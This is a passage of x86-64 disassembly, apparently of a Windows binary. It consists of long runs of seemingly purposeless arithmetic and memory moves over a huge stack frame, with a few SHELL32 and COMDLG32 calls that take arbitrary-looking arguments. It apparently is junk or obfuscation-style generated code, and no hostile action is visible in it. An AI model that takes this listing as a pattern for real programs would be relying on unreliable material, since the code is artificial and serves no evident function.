mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e8], al
mov rax, qword [rsp + 0xea78]
mov rcx, qword [rsp + 0xd468]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9070], rax
mov eax, dword [rsp + 0x586c]
mov ecx, dword [rsp + 0x6fa4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
and eax, ecx
mov byte [0x14019ef9c], al
movzx eax, word [rsp + 0x2df8]
mov word [rsp + 0x2f70], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3c0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd9b8]
mov word [rcx], ax
movzx eax, word [rsp + 0x2ac4]
movzx ecx, word [0x14019d198]
or eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [rsp + 0xe5e0]
mov rcx, qword [rsp + 0xed10]
mov qword [rsp + 0xef40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc998], rax
mov rax, qword [rsp + 0xd058]
mov rcx, qword [rsp + 0xd198]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6d94], eax
lea rax, [0x14019d011]
mov qword [rsp + 0xef48], rax
mov rax, qword [rsp + 0xe488]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc128], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [0x14019d098]
sub eax, ecx
mov word [rsp + 0x2d00], ax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xeed0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d2a4], ax
mov rax, qword [rsp + 0xdd68]
mov rax, qword [rax]
mov qword [rsp + 0xef50], rax
mov rax, qword [rsp + 0xec90]
movzx eax, word [rax]
mov rcx, qword [0x14019f140]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xebb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x68b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6980], eax
movsx eax, byte [rsp + 0x3cc]
movsx ecx, byte [rsp + 0x2b9]
or eax, ecx
mov byte [rsp + 0x4e1], al
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7070]
shr eax, cl
mov dword [rsp + 0x6624], eax
mov rax, qword [rsp + 0xe478]
mov rcx, qword [rsp + 0xee48]
mov qword [rsp + 0xef58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdc58], rax
movzx eax, word [rsp + 0x2ac0]
mov word [rsp + 0x2f74], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14019f4e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xe9e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9100], rax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe6d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd878]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1764], ax
movzx eax, word [rsp + 0x2604]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdec], ax
lea rax, [rsp + 0x547]
mov qword [rsp + 0xef60], rax
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xe3d8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xec48]
mov qword [rcx], rax
mov eax, dword [0x14019f2cc]
mov dword [rsp + 0x70f0], eax
mov rax, qword [rsp + 0xae98]
mov rcx, qword [rsp + 0xe640]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xedb0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xde90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe3f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f318], ax
movzx eax, word [0x14019f4a8]
mov rcx, qword [rsp + 0xd8a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba0], ax
movzx eax, byte [rsp + 0x59a]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x105], al
mov rax, qword [rsp + 0xda60]
mov ecx, dword [rsp + 0x6fd8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ee4], eax
mov rax, qword [rsp + 0xdd78]
mov qword [rsp + 0xef68], rax
movsx eax, byte [rsp + 0x52e]
mov rcx, qword [rsp + 0xee30]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xef70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6e18], eax
lea rax, [rsp + 0x96b0]
mov qword [rsp + 0xef78], rax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0x2a90]
and eax, ecx
mov word [rsp + 0x2768], ax
lea rax, [0x14019f438]
mov qword [0x14019f538], rax
lea rax, [rsp + 0xb120]
mov qword [rsp + 0xef80], rax
mov rax, qword [rsp + 0xece0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb00]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xead0]
mov word [rcx], ax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
mov qword [rsp + 0xef88], rax
mov rax, qword [rsp + 0xea28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe1d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd438]
mov byte [rcx], al
mov rax, qword [0x14019f488]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6fe4]
shl eax, cl
mov dword [rsp + 0x6654], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdeb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xddd8], rax
movzx eax, word [rsp + 0x1b94]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x25c0], ax
mov rax, qword [rsp + 0xe0f8]
mov qword [0x14019f540], rax
mov eax, dword [rsp + 0x70a0]
mov dword [rsp + 0x70f4], eax
movzx eax, byte [rsp + 0x1d0]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x504], al
movsx eax, word [0x14019f338]
movsx ecx, word [rsp + 0x2e6c]
sub eax, ecx
mov word [rsp + 0x1620], ax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2650], ax
mov rax, qword [rsp + 0xe450]
movzx eax, byte [rax]
mov byte [rsp + 0x59b], al
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xec48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xedc8], rax
mov rax, qword [rsp + 0xdd80]
mov ecx, dword [rsp + 0x5b50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7000], eax
mov rax, qword [rsp + 0xd9b8]
movzx eax, word [rax]
mov word [rsp + 0x2f78], ax
mov rax, qword [0x14019f330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2db4]
add eax, ecx
mov word [0x14019d0c8], ax
lea rdx, [rsp + 0x22d40]
lea rcx, [rsp + 0xd448]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xe648]
mov rcx, qword [rsp + 0xad58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb018]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe10], rax
mov rax, qword [rsp + 0xac28]
mov rcx, qword [rsp + 0xef80]
mov qword [rsp + 0xef90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd8f0], rax
movsx eax, word [rsp + 0x1c58]
movsx ecx, word [rsp + 0x1b44]
sar eax, cl
mov word [rsp + 0x13dc], ax
mov rax, qword [rsp + 0xe2f8]
movzx eax, byte [rax]
mov byte [rsp + 0x59c], al
mov rax, qword [rsp + 0x9618]
mov rcx, qword [rsp + 0xd5f8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeac8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd198]
mov rcx, qword [0x14019f488]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x661c], eax
movzx eax, byte [rsp + 0x548]
movzx ecx, byte [rsp + 0x53c]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x5884]
mov ecx, dword [rsp + 0x6ef0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d90], eax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe598]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14019f240]
mov word [rcx], ax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov word [rsp + 0x2f7c], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xecb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2440], ax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov qword [rsp + 0xef98], rax
mov rax, qword [rsp + 0xe010]
mov rcx, qword [rsp + 0xeef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8c0], rax
mov rax, qword [rsp + 0xef48]
movsx eax, byte [rax]
movsx ecx, byte [0x14019d011]
add eax, ecx
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0xe1f0]
mov ecx, dword [rsp + 0x69f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x70b0], eax
mov rax, qword [rsp + 0xecc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2760], ax
movzx eax, word [rsp + 0x2ae4]
mov word [rsp + 0x2f80], ax
mov rax, qword [rsp + 0xd3d0]
mov rcx, qword [rsp + 0xe4b0]
mov qword [rsp + 0xefa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefa0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14019d2a8], rax
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c48]
sar eax, cl
mov word [rsp + 0x2c88], ax
lea rax, [0x14019f390]
mov qword [rsp + 0xefa8], rax
mov rax, qword [rsp + 0xd408]
mov rcx, qword [rsp + 0x94b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9828], rax
lea rdx, [rsp + 0x1fbe0]
lea rcx, [rsp + 0x6e04]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0xefb0], rax
mov rax, qword [0x14019f290]
mov rcx, qword [rsp + 0xd610]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd5f8], rax
mov rax, qword [rsp + 0xeed8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd438]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2d4], al
mov rax, qword [rsp + 0xd098]
mov rcx, qword [rsp + 0xe708]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd050]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov byte [rsp + 0x59d], al
mov eax, dword [rsp + 0x6480]
movzx ecx, al
mov eax, dword [rsp + 0x6528]
shl eax, cl
mov dword [rsp + 0x6ec4], eax
mov rax, qword [rsp + 0xd7d8]
movzx eax, word [rax]
mov word [0x14019f548], ax
movsx eax, word [rsp + 0x2dfc]
mov rcx, qword [0x14019f240]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d80], ax
lea rax, [rsp + 0x1250]
mov qword [rsp + 0xefb8], rax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2cac], ax
lea rax, [rsp + 0x3cc]
mov qword [rsp + 0xefc0], rax
mov rax, qword [rsp + 0xdc60]
mov rcx, qword [rsp + 0xd3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x709c], eax
mov rax, qword [rsp + 0xe850]
mov rcx, qword [rsp + 0xe9a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa3c8], rax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c00]
xor eax, ecx
mov word [rsp + 0xc00], ax
movzx eax, word [rsp + 0x2f28]
movzx ecx, word [rsp + 0x1fec]
and eax, ecx
mov word [rsp + 0xf5c], ax
mov rax, qword [0x14019f0d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb020]
sar rax, cl
mov qword [0x14019d270], rax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov qword [rsp + 0xefc8], rax
lea rdx, [rsp + 0x225a0]
mov ecx, SHTestTokenMembership
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6dd8], eax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb110]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xe1e0]
mov qword [rsp + 0xefd0], rax
mov rax, qword [rsp + 0xeef8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cb4]
shl eax, cl
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0xdd60]
mov rcx, qword [rsp + 0xd0f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d3c], eax
movzx eax, byte [rsp + 0x51a]
movzx ecx, byte [rsp + 0x58f]
add eax, ecx
mov byte [rsp + 0x1e0], al
movsx eax, byte [rsp + 0x43e]
movsx ecx, byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties]
add eax, ecx
mov byte [rsp + 0x52c], al
mov rax, qword [rsp + 0xafc0]
mov qword [rsp + 0xefd8], rax
mov rax, qword [rsp + 0xd0d0]
mov ecx, dword [rsp + 0x6454]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d2b0], eax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbf4], ax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
mov rcx, qword [0x14019f388]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d98], ax
movzx eax, word [rsp + 0x2da4]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2954], ax
mov rax, qword [rsp + 0xd220]
mov rcx, qword [rsp + 0xc508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd758], rax
lea rax, [0x14019ef91]
mov qword [rsp + 0xefe0], rax
mov rax, qword [rsp + 0xe9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc628], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x61d0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdd00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2a7c]
mov word [rsp + 0x2f84], ax
mov rax, qword [rsp + 0xdf78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a8]
and eax, ecx
mov rcx, qword [0x14019f4d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd890]
mov rcx, qword [rsp + 0xdd58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbee8], rax
movzx eax, word [0x14019d1c4]
mov word [rsp + 0x2f88], ax
mov eax, dword [rsp + 0x6d34]
mov ecx, dword [rsp + 0x5d00]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd050]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe440]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0xa5a0]
movzx ecx, al
mov rax, qword [rsp + 0x9790]
shl rax, cl
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xea98]
mov ecx, dword [rsp + 0x701c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6da0], eax
lea rcx, [rsp + 0x209d0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x70f8], eax
movzx eax, byte [0x14019d011]
mov byte [rsp + 0x59e], al
mov r9d, 0x1c
mov r8d, 0xa9
mov edx, 0x5f
mov rcx, qword [rsp + 0xe4e0]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0xe968]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f00], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe730]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019f210], ax
mov rax, qword [rsp + 0xe650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0xebf8]
mov rcx, qword [rsp + 0x9b98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfb0], rax
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c8c], ax
movzx eax, word [rsp + 0x2a10]
mov word [rsp + 0x2f8c], ax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe850]
mov qword [rsp + 0xefe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefe8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa448], rax
movzx eax, byte [0x14019ef9a]
mov byte [rsp + 0x59f], al
mov rax, qword [rsp + 0xe1a8]
mov ecx, dword [rsp + 0x70b0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6e94], eax
mov rax, qword [rsp + 0xdd90]
mov rcx, qword [rsp + 0xad38]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd3d0], rax
movzx eax, word [rsp + 0x245c]
mov word [0x14019f54c], ax
movzx eax, word [rsp + 0x1adc]
movzx ecx, word [rsp + 0x1c4c]
sub eax, ecx
mov word [rsp + 0x1ce8], ax
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ff4]
shl eax, cl
mov dword [rsp + 0x6e70], eax
movzx eax, byte [rsp + 0x2b2]
mov byte [rsp + 0x5a0], al
mov rax, qword [rsp + 0xe650]
mov rcx, qword [rsp + 0xe9d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xe488]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc258]
shr rax, cl
mov qword [rsp + 0xeb40], rax
lea rax, [rsp + 0x6f20]
mov qword [rsp + 0xeff0], rax
movsx eax, byte [rsp + 0x536]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x533], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1be8], ax
movzx eax, word [rsp + 0x2890]
mov word [0x14019f550], ax
mov rax, qword [rsp + 0xa0e8]
mov rcx, qword [rsp + 0xec88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc68], rax
movzx eax, word [rsp + 0x12e8]
mov word [rsp + 0x2f90], ax
mov rax, qword [0x14019f3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ef4]
add eax, ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xecf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xef80]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x50c]
mov byte [rsp + 0x5a1], al
mov rax, qword [rsp + 0xeff0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019f2bc]
shr eax, cl
mov dword [rsp + 0x6f8c], eax
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f60], rax
mov rax, qword [rsp + 0xdd28]
movzx eax, word [rax]
movzx ecx, word [0x14019f1c8]
xor eax, ecx
mov word [rsp + 0x1cb4], ax
mov rax, qword [rsp + 0xe9d8]
mov rcx, qword [rsp + 0xbf58]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019d0a0], rax
mov rax, qword [rsp + 0xeb98]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x59a4]
mov dword [rsp + 0x6e20], eax
lea rax, [rsp + 0x50b]
mov qword [rsp + 0xeff8], rax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b30]
shl eax, cl
mov word [rsp + 0x13cc], ax
movzx eax, word [rsp + 0xe90]
mov word [rsp + 0x2f94], ax
mov rax, qword [0x14019f0f8]
mov rcx, qword [rsp + 0xd840]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc8a8], rax
movsx eax, byte [rsp + 0x392]
mov rcx, qword [rsp + 0xefe0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4f8], al
mov eax, dword [rsp + 0x6fc0]
movzx ecx, al
mov eax, dword [rsp + 0x6ffc]
shr eax, cl
mov dword [rsp + 0x6710], eax
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e0c], ax
mov rax, qword [rsp + 0xeef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xeb88]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14019f140]
mov word [rcx], ax
mov rax, qword [rsp + 0xec68]
mov qword [rsp + 0xf000], rax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe928]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd660]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdfa0]
mov rcx, qword [rsp + 0xe3e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7a0], rax
lea rax, [0x14019d030]
mov qword [rsp + 0xf008], rax
mov rax, qword [rsp + 0xda70]
mov ecx, dword [rsp + 0x6f08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e40], eax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0xdc18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e58], rax
mov rax, qword [rsp + 0xe340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xeb78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52a], al
mov eax, dword [rsp + 0x6400]
mov dword [rsp + 0x70fc], eax
movzx eax, byte [rsp + 0x541]
mov rcx, qword [rsp + 0xd740]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xdc50]
mov byte [rcx], al
mov rax, qword [rsp + 0xd470]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d2b4], ax
movzx eax, word [rsp + 0x1b08]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xce0], ax
movzx eax, word [0x14019d0e8]
mov word [rsp + 0x2f98], ax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd940]
mov qword [rsp + 0xf010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf010]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xdd30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x70b4]
mov rcx, qword [rsp + 0xd338]
mov qword [rsp + 0xf018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf018]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6670], eax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov rcx, qword [0x14019f1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed78], rax
movsx eax, byte [rsp + 0x21c]
movsx ecx, byte [rsp + 0x2f4]
sub eax, ecx
mov byte [rsp + 0x562], al
movzx eax, word [0x14019d0cc]
mov word [rsp + 0x2f9c], ax
movzx eax, word [rsp + 0x2de4]
mov rcx, qword [rsp + 0xeef8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd8c], ax
mov rax, qword [rsp + 0xe808]
mov rax, qword [rax]
mov qword [0x14019f558], rax
movzx eax, word [rsp + 0x150c]
movzx ecx, word [0x14019d140]
or eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0xd6d0]
mov qword [rsp + 0xf020], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf020]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0xe700]
mov rcx, qword [rsp + 0xda20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd3c8], rax
lea rax, [rsp + 0x22970]
mov qword [rsp + 0x20], rax
mov r9d, SHTestTokenMembership
lea r8, [rsp + 0x20260]
lea rdx, [rsp + 0x23110]
lea rcx, [rsp + 0x20260]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x70bc], eax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
mov qword [rsp + 0xf028], rax
movsx eax, byte [rsp + 0x344]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55b], al
lea rax, [rsp + 0x2d5]
mov qword [rsp + 0xf030], rax
mov eax, dword [rsp + 0x5be0]
mov ecx, dword [rsp + 0x5c48]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6798], eax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x7100], eax
movsx eax, word [rsp + 0x2d84]
movsx ecx, word [rsp + 0x2a88]
xor eax, ecx
mov rcx, qword [0x14019f2d0]
mov word [rcx], ax
movsx eax, word [0x14019f3b8]
mov rcx, qword [rsp + 0xe448]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d78], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c90]
sar eax, cl
mov word [rsp + 0x2f90], ax
mov rax, qword [rsp + 0xefb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x154c], ax
mov rax, qword [rsp + 0xe7f8]
mov rcx, qword [rsp + 0xdd08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdf28], rax
mov rax, qword [rsp + 0xd2f8]
mov eax, dword [rax]
mov dword [rsp + 0x7104], eax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef92]
add eax, ecx
mov byte [rsp + 0x362], al
movsx eax, word [rsp + 0x1bd4]
